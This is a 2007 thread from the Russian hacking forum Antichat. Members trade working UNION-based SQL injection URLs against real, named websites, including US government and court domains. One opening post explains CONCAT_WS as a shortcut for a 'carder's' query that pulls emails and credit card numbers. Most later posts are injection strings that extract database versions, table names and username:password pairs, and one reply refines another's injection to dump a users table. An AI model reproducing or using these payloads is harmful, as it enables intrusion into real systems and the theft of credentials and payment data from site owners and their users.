17.03.2007, 00:36
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
[ cash ], ты наркоман что ле или просто не знаешь что делает эта функция?
давай представим стандартный кардерский запрос c функцией concat()
select+1,concat(id,char(58),email,char(58),ccn,cha r(58),name,......),3
не проще ли сказать с помощью функцией CONCAT_WS()
select+1,concat_ws(char(58),id,email,ccn,name,...) ,3
Если ты просто не знаешь что она делает то эта функция в учебнике выглядит так CONCAT_WS(разделитель,строка1,с рока2,строка3)
Когда объеденяется 2 или 3 столбца то это конечно не нужно, но при больших запросах, где надо вывести много инфы лучше использовать эту функцию =)
ЗЫ У тебя на сайте написано
Взлом баз данных(MySQL,MsSQL,PoastageSQL,Oracle)
/me плачет
Последний раз редактировалось Spyder; 17.03.2007 в 00:45..
|
|
|
17.03.2007, 01:06
|
|
Участник форума
Регистрация: 13.03.2007
Сообщений: 120
Провел на форуме:
1604641
Репутация:
590
|
|
Код:
http://www.rda.ge/news.php?id=-4+union+select+1,2,CONCAT_WS(char(58),user(),database(),version()),4,5,6,7,8,9,10/*
Код:
http://www.nsf.ac.lk/events.php?ID=22%20UNION%20SELECT%201,AES_DECRYPT(AES_ENCRYPT(password,0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+mysql.user+limit+1,1/*
Последний раз редактировалось XTErner; 17.03.2007 в 01:08..
|
|
|
|
17.03.2007, 04:07
|
|
Познающий
Регистрация: 19.02.2007
Сообщений: 45
Провел на форуме:
148427
Репутация:
19
|
|
Код:
http://www.fur.su/index.php?id=-1+union+select+1,2,3,4,5/*&type=1&lang=r&pg=1
|
|
|
|
17.03.2007, 14:56
|
|
Участник форума
Регистрация: 13.03.2007
Сообщений: 120
Провел на форуме:
1604641
Репутация:
590
|
|
http://www.opera.ge/eng/news.php?id=-328+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,concat(password,0x3a,username),21,2 2,23,24,25,26,27,28,29,30,31,32+from+users/*&menu=news
))думал браузер
|
|
|
|
17.03.2007, 15:18
|
|
Участник форума
Регистрация: 13.01.2007
Сообщений: 160
Провел на форуме:
865816
Репутация:
181
|
|
http://www.dama.cz/tisk.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,table _name,15,16,17,18+from+INFORMATION_SCHEMA.TABLES+l imit+65,1/*
5-ая версия))) 66 таблиц  . |
|
|
|
17.03.2007, 21:06
|
|
Участник форума
Регистрация: 13.01.2007
Сообщений: 160
Провел на форуме:
865816
Репутация:
181
|
|
http://www.smalldog.com/mydog/number.php?id=-1+union+select+convert(version()+using+latin1)/*
|
|
|
|
17.03.2007, 21:14
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503
Репутация:
5826
|
|
Код:
http://www.sportexpo.ru/print_base.php?id=-1+union+select+1,concat(database(),char(58),user(),char(58),version()),3,4/*
|
|
|
|
17.03.2007, 21:31
|
|
Участник форума
Регистрация: 28.01.2007
Сообщений: 153
Провел на форуме:
1237085
Репутация:
452
|
|
Код:
http://www.dance.lt/news.php?strid=2871&id=-4244+GROUP+BY+A.id,A.title,pd,pt,A.lead,A.body,A.pic_alt,A.pic_capt,A.pic_l,SNS.name,SNA.name+union+select+1,2,user(),version(),5,database(),7,8,9,0,1,2,3/*
Доступа к mysql.user нет |
|
|
|
17.03.2007, 21:39
|
|
Участник форума
Регистрация: 13.01.2007
Сообщений: 160
Провел на форуме:
865816
Репутация:
181
|
|
Сообщение от valiko
Код:
http://www.dance.lt/news.php?strid=2871&id=-4244+GROUP+BY+A.id,A.title,pd,pt,A.lead,A.body,A.pic_alt,A.pic_capt,A.pic_l,SNS.name,SNA.name+union+select+1,2,user(),version(),5,database(),7,8,9,0,1,2,3/*
Доступа к mysql.user нет http://www.dance.lt/news.php?strid=2871&id=-4244+GROUP+BY+A.id,A.title,pd,pt,A.lead,A.body,A.p ic_alt,A.pic_capt,A.pic_l,SNS.name,SNA.name+union+ select+1,concat(username,char(58),password),3,4,5, 6,7,8,9,0,1,2,3+from+users/*
Так лучше)))
|
|
|
|
17.03.2007, 15:40
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
http://www.bap10.uscourts.gov/rules.php?part=3&ID=-6+union+select+null,null,null,null,null,123
гов =\ чё то там ничё не получается вывести
update
http://www.tam.ca.gov/view.php?id=-1+union+select+1,2,version(),4
Последний раз редактировалось Spyder; 17.03.2007 в 16:09..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
